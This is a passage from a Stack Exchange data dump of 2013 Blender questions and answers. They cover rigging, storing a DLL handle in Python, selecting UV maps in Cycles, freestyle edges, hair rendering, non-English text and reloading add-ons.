&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tZSNh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;…and finally, try again..&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y6F13m.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For some help in parenting the mesh to the armature, you can refer to &lt;a href=&quot;https://blender.stackexchange.com/questions/782/how-can-i-automatically-generate-vertex-groups-for-an-armature&quot;&gt;How can I automatically generate vertex groups for an armature?&lt;/a&gt;. It wouldn't hurt to add some more geometry (loopcuts) to the arms and legs to help the character deform better either.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-01T23:39:42.087" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2675" PostTypeId="2" ParentId="2665" CreationDate="2013-09-01T23:51:38.810" Score="6" Body="&lt;p&gt;The existing answer from @Polosson is correct, however Im a bit biased against globals since I have had to debug other peoples code with many globals - it can become difficult, if the code becomes complex and there are more then 2-3 of them used across multiple functions. It's a pain to keep track of them, forgetting to add a &lt;code&gt;global&lt;/code&gt; keyword, it can fail in a non-obvious way.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Store in a global dictionary&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Heres an alternative, which I prefer in some cases.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# store all runtime variables here.&#xA;runtime = {}&#xA;runtime[&quot;hmd&quot;] = None&#xA;&#xA;def poll():&#xA;    # declare hmd as global so that the function has (write) access to the global var.&#xA;    if runtime[&quot;hmd&quot;] is None:&#xA;        runtime[&quot;hmd&quot;] = ctypes.WinDLL(&quot;C:\\Program Files\\Blender Foundation\\Blender\\2.68\\scripts\\addons\\game_engine_rift\\openhmd.dll&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can store the runtime state in a dictionary, and it has some advantages that you can easily &lt;code&gt;print(runtime)&lt;/code&gt;, &lt;code&gt;runtime.clear()&lt;/code&gt;... etc. and pass it to other modules if you end up splitting your code across files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the dictionary its self is never re-assigned, you don't have to define it as global.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Store in the function&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another trick, is you can store the variable in the function (and avoid using globals)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is &lt;strong&gt;not&lt;/strong&gt; the functions local namespace, which is why it has to be accessed as an attribute of the function, even when inside the function body.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def poll():&#xA;    # declare hmd as global so that the function has (write) access to the global var.&#xA;    if poll.hmd is None:&#xA;        poll.hmd = ctypes.WinDLL(&quot;C:\\Program Files\\Blender Foundation\\Blender\\2.68\\scripts\\addons\\game_engine_rift\\openhmd.dll&quot;)&#xA;poll.hmd = None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sometimes I use this for global variables that only the function ever accesses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For more info on function attributes see:&lt;/em&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/338101/python-function-attributes-uses-and-abuses&quot;&gt;Q: Python function attributes - uses and abuses&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-09-02T03:19:00.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2676" PostTypeId="1" CreationDate="2013-09-02T02:01:08.800" Score="2" ViewCount="102" Body="&lt;p&gt;I want to define two different UV maps for one object.  One will have the nodes pushed around to match features in an image for dents and scratches, intended to affect the displacement of the material.  The other provides color, a pigmentation pattern, and mapped in a way unrelated to the scratches/dents.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found how to create multiple UV maps by going into the mesh properties, UV Maps, and click the + button.  I have pushed nodes and am convinced I have two separate UV maps, named ScratchyUV and PigmUV, each arranged on its appropriate image in the UV/Image Editor as I like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the material, I have two Texture Coordinate nodes. One feeds an Image Texture for the scratch/dent image, which feeds the Material displacement input.  It actually works!  Yay.   The other Texture Coordinate node goes to a Diffuse Shader and that goes to Material surface.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I am stuck: How do I choose which UV map gets used for which Texture Coordinate?  What would make sense to me is the Texture Coordinate having a list or something to choose a UV map.  This is probably all wrong, but I have nothing better than guesses!   What is the trick to choose UV maps in this kind of setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could show a screenshot my nodes setup, but there's a lot of extra stuff for tweaking the details, and it's not as I described.  What I described should be enough for the purpose of the question, though.&lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="599" LastEditDate="2013-09-02T02:35:10.553" LastActivityDate="2013-09-02T03:07:34.470" Title="Use multiple UV maps in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="0" ClosedDate="2013-09-02T03:39:34.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="2677" PostTypeId="2" ParentId="2176" CreationDate="2013-09-02T02:40:29.390" Score="19" Body="&lt;h1&gt;Update&lt;/h1&gt;&#xA;&lt;p&gt;There is &lt;a href=&quot;https://developer.blender.org/rBcb7cfd3ab6be&quot; rel=&quot;noreferrer&quot;&gt;now a dedicate UV map node&lt;/a&gt; (will be &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Cycles#Nodes&quot; rel=&quot;noreferrer&quot;&gt;in 2.71&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pwyc7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;Original answer:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/2178/599&quot;&gt;already mentioned by stacker&lt;/a&gt;, this can be achieved with the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Attribute&quot; rel=&quot;noreferrer&quot;&gt;Attribute&lt;/a&gt;&lt;/em&gt; node (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Add node &amp;gt; Input &amp;gt; Attribute&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Attribute&lt;/strong&gt;&lt;br /&gt;&#xA;Retrieve attribute attached to the object or mesh. Currently UV maps and vertex color layers can be retrieved this way by their names, with layers and attributes planned to be added. Also internal attributes like P (position), N (normal), Ng (geometric normal) may be accessed this way, although there are more convenient nodes for this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TrJR1.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TrJR1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Simply put the name of the UV map in the &lt;em&gt;Name&lt;/em&gt; parameter, and use the &lt;em&gt;Vector&lt;/em&gt; output as the UV coordinates.&lt;/p&gt;&#xA;&lt;p&gt;The UV map with the camera icon selected in &lt;em&gt;Object data &amp;gt; UV maps&lt;/em&gt; will be used by the &lt;em&gt;Texture coordinate&lt;/em&gt; node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wHrtC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wHrtC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/dRcOQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dRcOQm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;While you can mix &lt;em&gt;Attribute&lt;/em&gt; nodes with &lt;em&gt;Texture Coordinate&lt;/em&gt; nodes, I personally find using only &lt;em&gt;Attribute&lt;/em&gt; nodes is easier with more than one UV map, as the name of the UV map is already on the node.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-26T00:42:59.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2678" PostTypeId="2" ParentId="2646" CreationDate="2013-09-02T06:58:23.787" Score="9" Body="&lt;p&gt;There's an addon that keeps track of the actual time you spent working on the project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zIILg.png&quot; alt=&quot;screenshot of project timer addon&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/System/Project_Timer&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/System/Project_Timer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The time spent working in the blend file is recorded, and stored in&#xA;  the blend to continue from the next time it is opened.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you stop work for longer than 30 seconds, the timer stops counting&#xA;  and reverts back to the time of your last action, minimizing idle&#xA;  time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Edit: Download link seems to no longer work, here's the last version of the add-on I could find: &lt;a href=&quot;http://gregzaal.com/files/system_project_timer.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt; (unzip, install py file).&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2017-06-09T17:34:31.220" LastActivityDate="2017-06-09T17:34:31.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2679" PostTypeId="2" ParentId="2665" CreationDate="2013-09-02T17:57:01.067" Score="2" Body="&lt;p&gt;Rather than testing values, it's more pythonic to just &lt;a href=&quot;http://docs.python.org/dev/tutorial/errors.html&quot; rel=&quot;nofollow&quot;&gt;try and deal with exception(s)&lt;/a&gt; when they arise (&lt;a href=&quot;http://docs.python.org/dev/glossary.html#term-eafp&quot; rel=&quot;nofollow&quot;&gt;EAFP&lt;/a&gt;). You can also declare and assign your global variable in one step like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def poll():&#xA;    try:&#xA;        hmdPoll = hmd.poll&#xA;    except NameError:&#xA;        globals()[&quot;hmd&quot;] = ctypes.WinDLL(&quot;/path/to/dll&quot;)&#xA;        return poll() # Retry&#xA;    # ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Warning&lt;/em&gt;: Catching &lt;code&gt;NameError&lt;/code&gt; exceptions in general is a bad idea, use with care.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I'd recommend explicitly initialising &lt;code&gt;hmd&lt;/code&gt; outside of the &lt;code&gt;poll&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-09-02T23:22:30.280" LastActivityDate="2013-09-02T23:22:30.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2680" PostTypeId="2" ParentId="75" CreationDate="2013-09-02T21:13:26.660" Score="3" Body="&lt;p&gt;Not an answer... But I thought I'd leave it here as a reference for any developer that might want to pick up on an old project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ian Johnson has done considerable work to get a working fluid solver (powered by OpenCL) in the Blender game engine. You can see a video of it here: &lt;a href=&quot;http://enja.org/2011/12/01/rtps-fluid-and-rigid-body-interaction/&quot; rel=&quot;nofollow&quot;&gt;http://enja.org/2011/12/01/rtps-fluid-and-rigid-body-interaction/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The feature never made its way into the official release.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-09-02T21:13:26.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2681" PostTypeId="1" AcceptedAnswerId="2682" CreationDate="2013-09-02T23:19:44.440" Score="6" ViewCount="3174" Body="&lt;p&gt;Is it possible to deselect freestyle edges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I enabled &lt;em&gt;Material Boundary&lt;/em&gt; in &lt;em&gt;Render layers &amp;rarr; Freestyle Line Set &amp;rarr; Edge Types&lt;/em&gt; to draw lines on all edges between faces with different materials:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fbJsb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Zvwn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to explicitly exclude an edge from freestyle drawing so I can have all material boundary edges drawn except for ones I specify?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EaYrk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-09-03T11:30:22.233" Title="Is it possible to deselect freestyle edges?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2682" PostTypeId="2" ParentId="2681" CreationDate="2013-09-02T23:39:58.273" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;In &lt;em&gt;Edit Mode&lt;/em&gt; select the edge and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Freestyle/Parameter_Editor/Line_Set#Edge_Marks&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Mark Freestyle Edge&lt;/em&gt;&lt;/a&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt;,&lt;kbd&gt;F&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Properties&lt;/em&gt; window &gt; &lt;em&gt;Render Layers&lt;/em&gt; &gt; &lt;em&gt;Freestyle Line Set&lt;/em&gt;:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;Logical AND&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;Edge Mark&lt;/em&gt; and the (Exclude Edge marks) X button next to it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pYCJF.png&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wtxOt.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-09-03T11:30:22.233" LastActivityDate="2013-09-03T11:30:22.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2683" PostTypeId="1" CreationDate="2013-09-03T04:25:24.697" Score="10" ViewCount="21062" Body="&lt;p&gt;I just followed &lt;a href=&quot;http://www.youtube.com/watch?v=jEnCsvcvX8k&quot; rel=&quot;nofollow noreferrer&quot;&gt;Andrew Price's video tutorial&lt;/a&gt; on how to render hair in cycles, and I have followed every single direction, but no hair gets rendered. Is something not enabled or activated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is almost like it is trying to render with the particles grit there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aJzJQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aJzJQb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/77gKt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/77gKtb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://www.pasteall.org/blend/23841&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastEditorUserId="599" LastEditDate="2013-09-04T03:26:49.497" LastActivityDate="2019-01-15T13:42:03.093" Title="Hair won't render in cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2684" PostTypeId="2" ParentId="2102" CreationDate="2013-09-03T04:52:47.133" Score="2" Body="&lt;p&gt;You can even just change the strip type to 'replace' and perform the transparency keyframe. Blender will mix to it's base color, black. As long as you don't render transparency out, you will get a fade to black.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="14" LastEditDate="2013-09-03T14:05:36.893" LastActivityDate="2013-09-03T14:05:36.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2685" PostTypeId="2" ParentId="2683" CreationDate="2013-09-03T05:00:14.133" Score="8" Body="&lt;p&gt;You may need to enable experimental features in the render tab for Cycles to render hair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an older version of blender and want to render hair on the GPU, you'll need to get a newer build from &lt;a href=&quot;http://builder.blender.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;builder.blender.org&lt;/a&gt; or &lt;a href=&quot;http://graphicall.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;graphicall.org&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jIUDf.png&quot; alt=&quot;Experimental Feature Set&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="619" LastEditorUserId="9" LastEditDate="2013-09-03T06:53:40.920" LastActivityDate="2013-09-03T06:53:40.920" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2686" PostTypeId="2" ParentId="2102" CreationDate="2013-09-03T09:53:56.003" Score="5" Body="&lt;p&gt;I usually keyframe the 'Multiply' value inside the 'Filter' panel (in N panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you don't need the color strip, so the VSE is less cluttered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OkXaA.png&quot; alt=&quot;MULTIPLY_strip&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2013-09-03T09:53:56.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2687" PostTypeId="1" CreationDate="2013-09-03T19:06:13.183" Score="11" ViewCount="2098" Body="&lt;p&gt;Blender has issues when dealing with non-English characters.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I can't enter Russian text in 3D objects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender displays folder and file names incorrectly if they are in Russian.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a solution to these text-encoding problems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=co96RhU5nLc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demonstration of impossibility of entering letters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demonstration of only &lt;code&gt;Bfont&lt;/code&gt; available:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pHHPF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1222" LastEditorUserId="2217" LastEditDate="2014-04-26T19:29:15.310" LastActivityDate="2014-04-26T19:29:15.310" Title="Foreign text in Blender isn't processed correctly" Tags="&lt;text-object&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2688" PostTypeId="2" ParentId="2687" CreationDate="2013-09-03T19:17:48.617" Score="9" Body="&lt;p&gt;&lt;strong&gt;Interface&lt;/strong&gt;&lt;br&gt;&#xA;The wiki page on &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Internationalization&quot; rel=&quot;noreferrer&quot;&gt;Blender Internationalization&lt;/a&gt; shows how to set your preferred language&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3D&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OsYvK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enter foreign languages with alternative symbols (like a cyrillic alphabet). You must pick a font that supports the extended character set. The default Bfont does not have many extended characters, that's why you aren't seeing them. You can read more about support for fonts on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Texts&quot; rel=&quot;noreferrer&quot;&gt;Modeling/Text&lt;/a&gt; wiki page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3D using the Text Editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RsMku.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-09-05T15:01:43.090" LastActivityDate="2013-09-05T15:01:43.090" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2689" PostTypeId="5" CreationDate="2013-09-03T20:23:17.190" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-09-03T20:23:17.190" LastActivityDate="2013-09-03T20:23:17.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2690" PostTypeId="4" CreationDate="2013-09-03T20:23:17.190" Score="0" Body="Questions about using non-English languages with Blender." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-03T20:34:40.877" LastActivityDate="2013-09-03T20:34:40.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2691" PostTypeId="1" AcceptedAnswerId="2692" CreationDate="2013-09-03T20:25:29.220" Score="23" ViewCount="11534" Body="&lt;p&gt;I'm currently twiddling with an old addon and insert some print statements for debugging. Currently I'm restarting Blender each time to see the new messages. Is there a way to 'refresh' an already loaded Python script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An API call would be preferred to disable/re-enable the addon in the &lt;em&gt;User Preferences&lt;/em&gt; dialog.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="290" LastEditDate="2013-09-03T21:48:32.767" LastActivityDate="2021-02-22T12:50:51.783" Title="Is there a way to restart a modified addon?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2692" PostTypeId="2" ParentId="2691" CreationDate="2013-09-03T20:30:10.797" Score="32" Body="&lt;p&gt;You can go to the &lt;em&gt;Main menu &amp;gt; Blender &amp;gt; System &amp;gt; Reload Scripts&lt;/em&gt;. As the name suggests, the operator reloads all addons and scripts, running addons, &lt;code&gt;unregister&lt;/code&gt; and &lt;code&gt;register&lt;/code&gt; functions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sQ97z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sQ97z.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another way is hitting &lt;kbd&gt;F3&lt;/kbd&gt; and typing &amp;quot;Reload Scripts&amp;quot; in the &lt;em&gt;Operator Search&lt;/em&gt; menu and execute the operator. In versions pre Blender 2.8x you can just hit &lt;kbd&gt;F8&lt;/kbd&gt; in order to reload.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="31447" LastEditDate="2021-02-22T12:50:51.783" LastActivityDate="2021-02-22T12:50:51.783" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="2693" PostTypeId="2" ParentId="2687" CreationDate="2013-09-03T20:36:26.257" Score="7" Body="&lt;p&gt;To input text that can't be directly typed from the keyboard, it is possible to copy-paste it into Blender's text editor and use &lt;em&gt;Edit&lt;/em&gt; &gt; &lt;em&gt;Text to 3d object&lt;/em&gt; from the header, which will make a text object out of it. Shortcuts are &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to make it one object and &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; to make a object from each line.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="12" LastEditDate="2013-09-06T13:59:57.007" LastActivityDate="2013-09-06T13:59:57.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2695" PostTypeId="2" ParentId="2691" CreationDate="2013-09-03T21:56:50.857" Score="2" Body="&lt;p&gt;To enable and disable via the API use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68a_release/bpy.ops.wm.html#bpy.ops.wm.addon_enable&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.wm.addon_enable&lt;/code&gt;&lt;/a&gt;, and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68a_release/bpy.ops.wm.html#bpy.ops.wm.addon_disable&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.wm.addon_disable&lt;/code&gt;&lt;/a&gt; respectively.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="55" LastEditDate="2013-09-04T02:16:44.260" LastActivityDate="2013-09-04T02:16:44.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2696" PostTypeId="2" ParentId="2683" CreationDate="2013-09-04T02:26:25.650" Score="4" Body="&lt;p&gt;It's probably because your particles are too small. You can see in your image that they &lt;em&gt;are&lt;/em&gt; being rendered, but they're tiny.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings have changed since BG made his tutorial. There's now an additional factor, &lt;em&gt;Scale&lt;/em&gt;, which, if I recall, is by default set to 0.05. Scale this up to 1 (or scale the root down by a factor of 20) and you should see better results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had this same issue when porting a Blender 2.66 file to Blender 2.67 &amp;ndash; suddenly, all my hair was &quot;gone!&quot; But setting this value correctly should fix you up real good.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-09-04T02:26:25.650" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="2697" PostTypeId="2" ParentId="638" CreationDate="2013-09-04T08:09:28.107" Score="0" Body="&lt;p&gt;You can measure stuff if you code it in Python. As for making things move, you will probably have to rig your model. Bones, parents and alike.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-09-04T08:09:28.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2698" PostTypeId="1" AcceptedAnswerId="2755" CreationDate="2013-09-04T14:02:25.713" Score="7" ViewCount="4811" Body="&lt;p&gt;There's a bunch of import/export formats common to both Blender and Maya, but which of them support animation? FBX is supposed to, but for now our addon doesn't support that yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I need to get animated cameras from a Maya scene into Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way would be to export a file for each frame (which would need markers and attaching cameras to them to make each frame's camera the active one for that frame) but that wouldn't work with motion blur.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2013-09-05T09:23:55.737" LastActivityDate="2015-11-02T08:19:27.353" Title="Import camera animation from Maya 2014" Tags="&lt;export&gt;&lt;camera&gt;&lt;import&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
